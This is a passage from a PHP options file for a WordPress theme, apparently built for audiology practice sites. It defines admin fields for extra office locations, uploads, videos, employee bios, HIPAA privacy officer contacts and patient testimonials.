'options_check'),\n\t\t'id' => 'third_plaza',\n\t\t'std' => '',\n\t\t'class' => 'hidden third-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Street Address', 'options_check'),\n\t\t'desc' => __('Street Address', 'options_check'),\n\t\t'id' => 'third_street_address',\n\t\t'std' => 'third_street_address',\n\t\t'class' => 'hidden third-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('City', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'third_city',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden third-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('State', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'third_state',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden third-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Zip', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'third_zip',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden third-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Google+ Local Page', 'options_check'),\n\t\t'desc' => __('Google+ Local Page for this location', 'options_check'),\n\t\t'id' => 'third_g',\n\t\t'std' => '',\n\t\t'class' => 'hidden third-office-hide',\n\t\t'type' => 'text');\n\n// Fourth Office\n\t$options[] = array(\n\t\t'name' => __('Do you have a fourth office?', 'options_check'),\n\t\t'desc' => __('Yes, I agree to pay $49/month to have this office optimized.', 'options_check'),\n\t\t'id' => 'show_fourth_office',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('fourth Office', 'options_check'),\n\t\t'desc' => __('Details about your fourth office location if you have one.', 'options_check'),\n\t\t'class' => 'hidden fourth-office-hide',\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Phone Number', 'options_check'),\n\t\t'desc' => __('Phone Number', 'options_check'),\n\t\t'id' => 'fourth_phone_number',\n\t\t'std' => '',\n\t\t'class' => 'mini hidden fourth-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Plaza Name', 'options_check'),\n\t\t'desc' => __('If your practice is located in a plaza enter the plaza name here if you want it displayed.', 'options_check'),\n\t\t'id' => 'fourth_plaza',\n\t\t'std' => '',\n\t\t'class' => 'hidden fourth-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Street Address', 'options_check'),\n\t\t'desc' => __('Street Address', 'options_check'),\n\t\t'id' => 'fourth_street_address',\n\t\t'std' => 'fourth_street_address',\n\t\t'class' => 'hidden fourth-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('City', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'fourth_city',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden fourth-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('State', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'fourth_state',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden fourth-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Zip', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'fourth_zip',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden fourth-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Google+ Local Page', 'options_check'),\n\t\t'desc' => __('Google+ Local Page for this location', 'options_check'),\n\t\t'id' => 'fourth_g',\n\t\t'std' => '',\n\t\t'class' => 'hidden fourth-office-hide',\n\t\t'type' => 'text');\n\t\t\n// fifth Office\n\t$options[] = array(\n\t\t'name' => __('Do you have a fifth office?', 'options_check'),\n\t\t'desc' => __('Yes, I agree to pay $49/month to have this office optimized.', 'options_check'),\n\t\t'id' => 'show_fifth_office',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('fifth Office', 'options_check'),\n\t\t'desc' => __('Details about your fifth office location if you have one.', 'options_check'),\n\t\t'class' => 'hidden fifth-office-hide',\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Phone Number', 'options_check'),\n\t\t'desc' => __('Phone Number', 'options_check'),\n\t\t'id' => 'fifth_phone_number',\n\t\t'std' => '',\n\t\t'class' => 'mini hidden fifth-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Plaza Name', 'options_check'),\n\t\t'desc' => __('If your practice is located in a plaza enter the plaza name here if you want it displayed.', 'options_check'),\n\t\t'id' => 'fifth_plaza',\n\t\t'std' => '',\n\t\t'class' => 'hidden fifth-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Street Address', 'options_check'),\n\t\t'desc' => __('Street Address', 'options_check'),\n\t\t'id' => 'fifth_street_address',\n\t\t'std' => 'fifth_street_address',\n\t\t'class' => 'hidden fifth-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('City', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'fifth_city',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden fifth-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('State', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'fifth_state',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden fifth-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Zip', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'fifth_zip',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden fifth-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Google+ Local Page', 'options_check'),\n\t\t'desc' => __('Google+ Local Page for this location', 'options_check'),\n\t\t'id' => 'fifth_g',\n\t\t'std' => '',\n\t\t'class' => 'hidden fifth-office-hide',\n\t\t'type' => 'text');\n\t\t\n// sixth Office\n\t$options[] = array(\n\t\t'name' => __('Do you have a sixth office?', 'options_check'),\n\t\t'desc' => __('Yes, I agree to pay $49/month to have this office optimized.', 'options_check'),\n\t\t'id' => 'show_sixth_office',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('sixth Office', 'options_check'),\n\t\t'desc' => __('Details about your sixth office location if you have one.', 'options_check'),\n\t\t'class' => 'hidden sixth-office-hide',\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Phone Number', 'options_check'),\n\t\t'desc' => __('Phone Number', 'options_check'),\n\t\t'id' => 'sixth_phone_number',\n\t\t'std' => '',\n\t\t'class' => 'mini hidden sixth-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Plaza Name', 'options_check'),\n\t\t'desc' => __('If your practice is located in a plaza enter the plaza name here if you want it displayed.', 'options_check'),\n\t\t'id' => 'sixth_plaza',\n\t\t'std' => '',\n\t\t'class' => 'hidden sixth-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Street Address', 'options_check'),\n\t\t'desc' => __('Street Address', 'options_check'),\n\t\t'id' => 'sixth_street_address',\n\t\t'std' => 'sixth_street_address',\n\t\t'class' => 'hidden sixth-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('City', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'sixth_city',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden sixth-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('State', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'sixth_state',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden sixth-office-hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Zip', 'options_check'),\n\t\t'desc' => __('A text input field.', 'options_check'),\n\t\t'id' => 'sixth_zip',\n\t\t'std' => 'Default Value',\n\t\t'class' => 'hidden sixth-office-hide',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Google+ Local Page', 'options_check'),\n\t\t'desc' => __('Google+ Local Page for this location', 'options_check'),\n\t\t'id' => 'sixth_g',\n\t\t'std' => '',\n\t\t'class' => 'hidden sixth-office-hide',\n\t\t'type' => 'text');\n\t\t\t\t\n// extra stuff\t\t\n/*\n\t$options[] = array(\n\t\t'name' => __('Textarea', 'options_check'),\n\t\t'desc' => __('Textarea description.', 'options_check'),\n\t\t'id' => 'example_textarea',\n\t\t'std' => 'Default Text',\n\t\t'type' => 'textarea');\n\n\t$options[] = array(\n\t\t'name' => __('Input Select Small', 'options_check'),\n\t\t'desc' => __('Small Select Box.', 'options_check'),\n\t\t'id' => 'example_select',\n\t\t'std' => 'three',\n\t\t'type' => 'select',\n\t\t'class' => 'mini', //mini, tiny, small\n\t\t'options' => $test_array);\n\n\t$options[] = array(\n\t\t'name' => __('Input Select Wide', 'options_check'),\n\t\t'desc' => __('A wider select box.', 'options_check'),\n\t\t'id' => 'example_select_wide',\n\t\t'std' => 'two',\n\t\t'type' => 'select',\n\t\t'options' => $test_array);\n\n\t$options[] = array(\n\t\t'name' => __('Select a Category', 'options_check'),\n\t\t'desc' => __('Passed an array of categories with cat_ID and cat_name', 'options_check'),\n\t\t'id' => 'example_select_categories',\n\t\t'type' => 'select',\n\t\t'options' => $options_categories);\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Select a Tag', 'options_check'),\n\t\t'desc' => __('Passed an array of tags with term_id and term_name', 'options_check'),\n\t\t'id' => 'example_select_tags',\n\t\t'type' => 'select',\n\t\t'options' => $options_tags);\n\n\t$options[] = array(\n\t\t'name' => __('Select a Page', 'options_check'),\n\t\t'desc' => __('Passed an pages with ID and post_title', 'options_check'),\n\t\t'id' => 'example_select_pages',\n\t\t'type' => 'select',\n\t\t'options' => $options_pages);\n\n\t$options[] = array(\n\t\t'name' => __('Input Radio (one)', 'options_check'),\n\t\t'desc' => __('Radio select with default options \"one\".', 'options_check'),\n\t\t'id' => 'example_radio',\n\t\t'std' => 'one',\n\t\t'type' => 'radio',\n\t\t'options' => $test_array);\n\n\t$options[] = array(\n\t\t'name' => __('Example Info', 'options_check'),\n\t\t'desc' => __('This is just some example information you can put in the panel.', 'options_check'),\n\t\t'type' => 'info');\n\n\t$options[] = array(\n\t\t'name' => __('Input Checkbox', 'options_check'),\n\t\t'desc' => __('Example checkbox, defaults to true.', 'options_check'),\n\t\t'id' => 'example_checkbox',\n\t\t'std' => '1',\n\t\t'type' => 'checkbox');\n*/\t\n\n// Images Tab\n\t$options[] = array(\n\t\t'name' => __('Image Uploads', 'options_check'),\n\t\t'type' => 'heading');\n\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Images Uploads', 'options_check'),\n\t\t'desc' => __('Upload any images you would like to include on your site.', 'options_check'),\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Logo', 'options_check'),\n\t\t'desc' => __('Upload your Company\\'s logo.', 'options_check'),\n\t\t'id' => 'logo_upload',\n\t\t'type' => 'upload');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Patient Forms', 'options_check'),\n\t\t'desc' => __('Upload your first form', 'options_check'),\n\t\t'id' => 'form-one_upload',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Patient Forms', 'options_check'),\n\t\t'desc' => __('Upload your second form (if you have one)', 'options_check'),\n\t\t'id' => 'form-two_upload',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Patient Forms', 'options_check'),\n\t\t'desc' => __('Upload your third form (if you have one)', 'options_check'),\n\t\t'id' => 'form-three_upload',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Miscellaneous Images', 'options_check'),\n\t\t'desc' => __('Upload any image you would like added to your site', 'options_check'),\n\t\t'id' => 'misc_upload',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Miscellaneous Images', 'options_check'),\n\t\t'desc' => __('Upload another image you would like added to your site', 'options_check'),\n\t\t'id' => 'misc-two_upload',\n\t\t'type' => 'upload');\n\t\t\n// Video Tab\n\t$options[] = array(\n\t\t'name' => __('Videos', 'options_check'),\n\t\t'type' => 'heading');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Instructions', 'options_check'),\n\t\t'desc' => __('Enter the full URL of the YouTube you\\'d like included on your site. Ex. http://www.youtube.com/watch?v=4w_eHBPMCas', 'options_check'),\n\t\t'class' => '',\n\t\t'type' => 'info');\t\t\n\n\t$options[] = array(\n\t\t'name' => __('Video One', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'video_1',\n\t\t'std' => 'http://www.youtube.com/watch?v=00000000',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Video Two', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'video_2',\n\t\t'std' => 'http://www.youtube.com/watch?v=00000000',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Video Three', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'video_3',\n\t\t'std' => 'http://www.youtube.com/watch?v=00000000',\n\t\t'type' => 'text');\n\t\t\t\t\t\t\t\t\n// Practice Tab\n\t$options[] = array(\n\t\t'name' => __('About Your Practice ', 'options_check'),\n\t\t'type' => 'heading');\n\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Services', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Services', 'options_check'),\n\t\t'desc' => __('Check the services you provide.', 'options_check'),\n\t\t'id' => 'services-boxes',\n\t\t'type' => 'multicheck',\n\t\t'options' => $services_array);\n\n/// Employees section\n\t$options[] = array(\n\t\t'name' => __('About Your Employees ', 'options_check'),\n\t\t'type' => 'heading');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Bio Page Style', 'options_check'),\n\t\t'desc' => __('Please leave this option set to default, one of out technicians will select the most appropriate option.', 'options_check'),\n\t\t'id' => 'bio_options',\n\t\t'type' => 'select',\n\t\t'options' => $bio_options);\n\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Bios', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Owner Headshot', 'options_check'),\n\t\t'desc' => __('Owner Headshot.', 'options_check'),\n\t\t'id' => 'owner_headshot',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Owner/Dr. Name', 'options_check'),\n\t\t'desc' => __('Include post-nominal letters (ie. Jane Doe, AuD)', 'options_check'),\n\t\t'id' => 'owner_name',\n\t\t'std' => 'Jane Doe, AuD',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Owner/Dr. Title', 'options_check'),\n\t\t'desc' => __('Practice Title (ie. Doctor of Audiology', 'options_check'),\n\t\t'id' => 'owner_title',\n\t\t'std' => 'Doctor of Audiology',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Owner/Dr. School', 'options_check'),\n\t\t'desc' => __('Owner/Dr. School', 'options_check'),\n\t\t'id' => 'owner_school',\n\t\t'std' => 'School',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Owner/Dr. School Graduation Year', 'options_check'),\n\t\t'desc' => __('Owner/Dr. School Graduation Year', 'options_check'),\n\t\t'id' => 'owner_school_year',\n\t\t'std' => 'Year',\n\t\t'type' => 'text');\n\n\n\t$wp_editor_settings = array(\n\t\t'wpautop' => true, // Default\n\t\t'textarea_rows' => 5,\n\t\t'tinymce' => array( 'plugins' => 'wordpress' )\n\t);\n\t\n\t$options[] = array(\n\t\t'name' => __('Owner/Dr. Bio', 'options_check'),\n\t\t'desc' => sprintf( __( 'You can also pass settings to the editor. Read more about wp_editor in <a href=\"%1$s\" target=\"_blank\">the WordPress codex</a>', 'options_check' ), 'http://codex.wordpress.org/Function_Reference/wp_editor' ),\n\t\t'id' => 'owner_bio',\n\t\t'type' => 'editor',\n\t\t'settings' => $wp_editor_settings );\n\n\t$options[] = array(\n\t\t'name' => __('Organizations', 'options_check'),\n\t\t'desc' => __('Check the organizations this employee belongs to.', 'options_check'),\n\t\t'id' => 'organizations_owner',\n\t\t'type' => 'multicheck',\n\t\t'options' => $organizations_one_array);\t\n\t\n\t\t\t\n\t\t/******/\n\t$options[] = array(\n\t\t'name' => __('Do you have another employee?', 'options_check'),\n\t\t'desc' => __('Check box to fill in the details about this employee', 'options_check'),\n\t\t'id' => 'show_first_employee',\n\t\t'type' => 'checkbox');\n\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Employee 1 Headshot', 'options_check'),\n\t\t'desc' => __('Employee 1 Headshot.', 'options_check'),\n\t\t'id' => 'employee_one_headshot',\n\t\t'class' => 'hidden first_employee_hide',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 1 Name', 'options_check'),\n\t\t'desc' => __('Include post-nominal letters (ie. Jane Doe, AuD)', 'options_check'),\n\t\t'id' => 'employee_one_name',\n\t\t'std' => '',\n\t\t'class' => 'hidden first_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 1 Title', 'options_check'),\n\t\t'desc' => __('Practice Title (ie. Doctor of Audiology', 'options_check'),\n\t\t'id' => 'employee_one_title',\n\t\t'std' => '',\n\t\t'class' => 'hidden first_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 1 School', 'options_check'),\n\t\t'desc' => __('Employee 1 School', 'options_check'),\n\t\t'id' => 'employee_one_school',\n\t\t'std' => '',\n\t\t'class' => 'hidden first_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 1 School Graduation Year', 'options_check'),\n\t\t'desc' => __('Employee 1 School Graduation Year', 'options_check'),\n\t\t'id' => 'employee_one_school_year',\n\t\t'std' => '',\n\t\t'class' => 'hidden first_employee_hide',\n\t\t'type' => 'text');\n\n\t$wp_editor_settings = array(\n\t\t'wpautop' => true, // Default\n\t\t'textarea_rows' => 5,\n\t\t'tinymce' => array( 'plugins' => 'wordpress' )\n\t);\n\t\n\t$options[] = array(\n\t\t'name' => __('Employee 1 Bio', 'options_check'),\n\t\t'desc' => sprintf( __( 'You can also pass settings to the editor. Read more about wp_editor in <a href=\"%1$s\" target=\"_blank\">the WordPress codex</a>', 'options_check' ), 'http://codex.wordpress.org/Function_Reference/wp_editor' ),\n\t\t'id' => 'employee_one_bio',\n\t\t'type' => 'editor',\n\t\t'class' => 'hidden first_employee_hide',\n\t\t'settings' => $wp_editor_settings );\n\t\n\t$options[] = array(\n\t\t'name' => __('Organizations', 'options_check'),\n\t\t'desc' => __('Check the organizations this employee belongs to.', 'options_check'),\n\t\t'id' => 'organizations_one',\n\t\t'type' => 'multicheck',\n\t\t'class' => 'hidden first_employee_hide',\n\t\t'options' => $organizations_one_array);\t\n\t\n\t/*******/\n\t\t\t\t\t\t\n\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Do you have another employee?', 'options_check'),\n\t\t'desc' => __('Check box to fill in the details about this employee', 'options_check'),\n\t\t'id' => 'show_second_employee',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Employee 2 Headshot', 'options_check'),\n\t\t'desc' => __('Employee 2 Headshot.', 'options_check'),\n\t\t'id' => 'employee_two_headshot',\n\t\t'class' => 'hidden second_employee_hide',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 2 Name', 'options_check'),\n\t\t'desc' => __('Include post-nominal letters (ie. Jane Doe, AuD)', 'options_check'),\n\t\t'id' => 'employee_two_name',\n\t\t'std' => '',\n\t\t'class' => 'hidden second_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 2 Title', 'options_check'),\n\t\t'desc' => __('Practice Title (ie. Doctor of Audiology', 'options_check'),\n\t\t'id' => 'employee_two_title',\n\t\t'std' => '',\n\t\t'class' => 'hidden second_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 2 School', 'options_check'),\n\t\t'desc' => __('Employee 2 School', 'options_check'),\n\t\t'id' => 'employee_two_school',\n\t\t'std' => '',\n\t\t'class' => 'hidden second_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 2 School Graduation Year', 'options_check'),\n\t\t'desc' => __('Employee 2 School Graduation Year', 'options_check'),\n\t\t'id' => 'employee_two_school_year',\n\t\t'std' => '',\n\t\t'class' => 'hidden second_employee_hide',\n\t\t'type' => 'text');\n\n\t$wp_editor_settings = array(\n\t\t'wpautop' => true, // Default\n\t\t'textarea_rows' => 5,\n\t\t'tinymce' => array( 'plugins' => 'wordpress' )\n\t);\n\t\n\t$options[] = array(\n\t\t'name' => __('Employee 2 Bio', 'options_check'),\n\t\t'desc' => sprintf( __( 'You can also pass settings to the editor. Read more about wp_editor in <a href=\"%1$s\" target=\"_blank\">the WordPress codex</a>', 'options_check' ), 'http://codex.wordpress.org/Function_Reference/wp_editor' ),\n\t\t'id' => 'employee_two_bio',\n\t\t'type' => 'editor',\n\t\t'class' => 'hidden second_employee_hide',\n\t\t'settings' => $wp_editor_settings );\n\t\n\t/*******/\n\n\n\t$options[] = array(\n\t\t'name' => __('Do you have another employee?', 'options_check'),\n\t\t'desc' => __('Check box to fill in the details about this employee', 'options_check'),\n\t\t'id' => 'show_third_employee',\n\t\t'type' => 'checkbox');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Employee 3 Headshot', 'options_check'),\n\t\t'desc' => __('Employee 3 Headshot.', 'options_check'),\n\t\t'id' => 'employee_three_headshot',\n\t\t'class' => 'hidden third_employee_hide',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 3 Name', 'options_check'),\n\t\t'desc' => __('Include post-nominal letters (ie. Jane Doe, AuD)', 'options_check'),\n\t\t'id' => 'employee_three_name',\n\t\t'std' => '',\n\t\t'class' => 'hidden third_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 3 Title', 'options_check'),\n\t\t'desc' => __('Practice Title (ie. Doctor of Audiology', 'options_check'),\n\t\t'id' => 'employee_three_title',\n\t\t'std' => '',\n\t\t'class' => 'hidden third_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 3 School', 'options_check'),\n\t\t'desc' => __('Employee 3 School', 'options_check'),\n\t\t'id' => 'employee_three_school',\n\t\t'std' => '',\n\t\t'class' => 'hidden third_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 3 School Graduation Year', 'options_check'),\n\t\t'desc' => __('Employee 3 School Graduation Year', 'options_check'),\n\t\t'id' => 'employee_three_school_year',\n\t\t'std' => '',\n\t\t'class' => 'hidden third_employee_hide',\n\t\t'type' => 'text');\n\n\t$wp_editor_settings = array(\n\t\t'wpautop' => true, // Default\n\t\t'textarea_rows' => 5,\n\t\t'tinymce' => array( 'plugins' => 'wordpress' )\n\t);\n\t\n\t$options[] = array(\n\t\t'name' => __('Employee 3 Bio', 'options_check'),\n\t\t'desc' => sprintf( __( 'You can also pass settings to the editor. Read more about wp_editor in <a href=\"%1$s\" target=\"_blank\">the WordPress codex</a>', 'options_check' ), 'http://codex.wordpress.org/Function_Reference/wp_editor' ),\n\t\t'id' => 'employee_three_bio',\n\t\t'type' => 'editor',\n\t\t'class' => 'hidden third_employee_hide',\n\t\t'settings' => $wp_editor_settings );\n\n\n/*******/\n\n\n\n\t$options[] = array(\n\t\t'name' => __('Do you have another employee?', 'options_check'),\n\t\t'desc' => __('Check box to fill in the details about this employee', 'options_check'),\n\t\t'id' => 'show_fourth_employee',\n\t\t'type' => 'checkbox');\n\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Employee 4 Headshot', 'options_check'),\n\t\t'desc' => __('Employee 4 Headshot.', 'options_check'),\n\t\t'id' => 'employee_fourth_headshot',\n\t\t'class' => 'hidden fourth_employee_hide',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 4 Name', 'options_check'),\n\t\t'desc' => __('Include post-nominal letters (ie. Jane Doe, AuD)', 'options_check'),\n\t\t'id' => 'employee_fourth_name',\n\t\t'std' => '',\n\t\t'class' => 'hidden fourth_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 4 Title', 'options_check'),\n\t\t'desc' => __('Practice Title (ie. Doctor of Audiology', 'options_check'),\n\t\t'id' => 'employee_fourth_title',\n\t\t'std' => '',\n\t\t'class' => 'hidden fourth_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 4 School', 'options_check'),\n\t\t'desc' => __('Employee 4 School', 'options_check'),\n\t\t'id' => 'employee_fourth_school',\n\t\t'std' => '',\n\t\t'class' => 'hidden fourth_employee_hide',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Employee 4 School Graduation Year', 'options_check'),\n\t\t'desc' => __('Employee 4 School Graduation Year', 'options_check'),\n\t\t'id' => 'employee_fourth_school_year',\n\t\t'std' => '',\n\t\t'class' => 'hidden fourth_employee_hide',\n\t\t'type' => 'text');\n\n\t$wp_editor_settings = array(\n\t\t'wpautop' => true, // Default\n\t\t'textarea_rows' => 5,\n\t\t'tinymce' => array( 'plugins' => 'wordpress' )\n\t);\n\t\n\t$options[] = array(\n\t\t'name' => __('Employee 4 Bio', 'options_check'),\n\t\t'desc' => sprintf( __( 'You can also pass settings to the editor. Read more about wp_editor in <a href=\"%1$s\" target=\"_blank\">the WordPress codex</a>', 'options_check' ), 'http://codex.wordpress.org/Function_Reference/wp_editor' ),\n\t\t'id' => 'employee_fourth_bio',\n\t\t'type' => 'editor',\n\t\t'class' => 'hidden fourth_employee_hide',\n\t\t'settings' => $wp_editor_settings );\n\n\t/*******/\n// HIPAA\t\t\n\t$options[] = array(\n\t\t'name' => __('HIPAA Information', 'options_check'),\n\t\t'type' => 'heading');\n\n/* Donain Name */\n\t$options[] = array(\n\t\t'name' => __('HIPAA Information', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Domain Name', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'hippa_domain_name',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Company\\'s Full Legal Name', 'options_check'),\n\t\t'desc' => __('Include DBA if applicable', 'options_check'),\n\t\t'id' => 'hippa_company_name',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Privacy Officer\\'s Name', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'hippa_privacy_officer_name',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\t\t\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Privacy Officer\\'s Email', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'hippa_privacy_officer_email',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\t\t\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Privacy Officer\\'s Phone Number', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'hippa_privacy_officer_phone',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\t\t\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Privacy Officer\\'s Mailing Address', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'hippa_privacy_officer_address',\n\t\t'std' => '',\n\t\t'class' => '',\n\t\t'type' => 'textarea');\t\n\n\n/*******/\n// Testamonials\t\t\n\t$options[] = array(\n\t\t'name' => __('Patient Testimonials', 'options_check'),\n\t\t'type' => 'heading');\n\n\t$options[] = array(\n\t\t'name' => __('Patient testimonial', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'testimonial1',\n\t\t'std' => '',\n\t\t'class' => '',\n\t\t'type' => 'textarea');\t\t\t\n\t\n\t$options[] = array(\n\t\t'name' => __('Patient testimonial', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'testimonial2',\n\t\t'std' => '',\n\t\t'class' => '',\n\t\t'type' => 'textarea');\t\t\t\n\t\n\t$options[] = array(\n\t\t'name' => __('Patient testimonial', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'testimonial3',\n\t\t'std' => 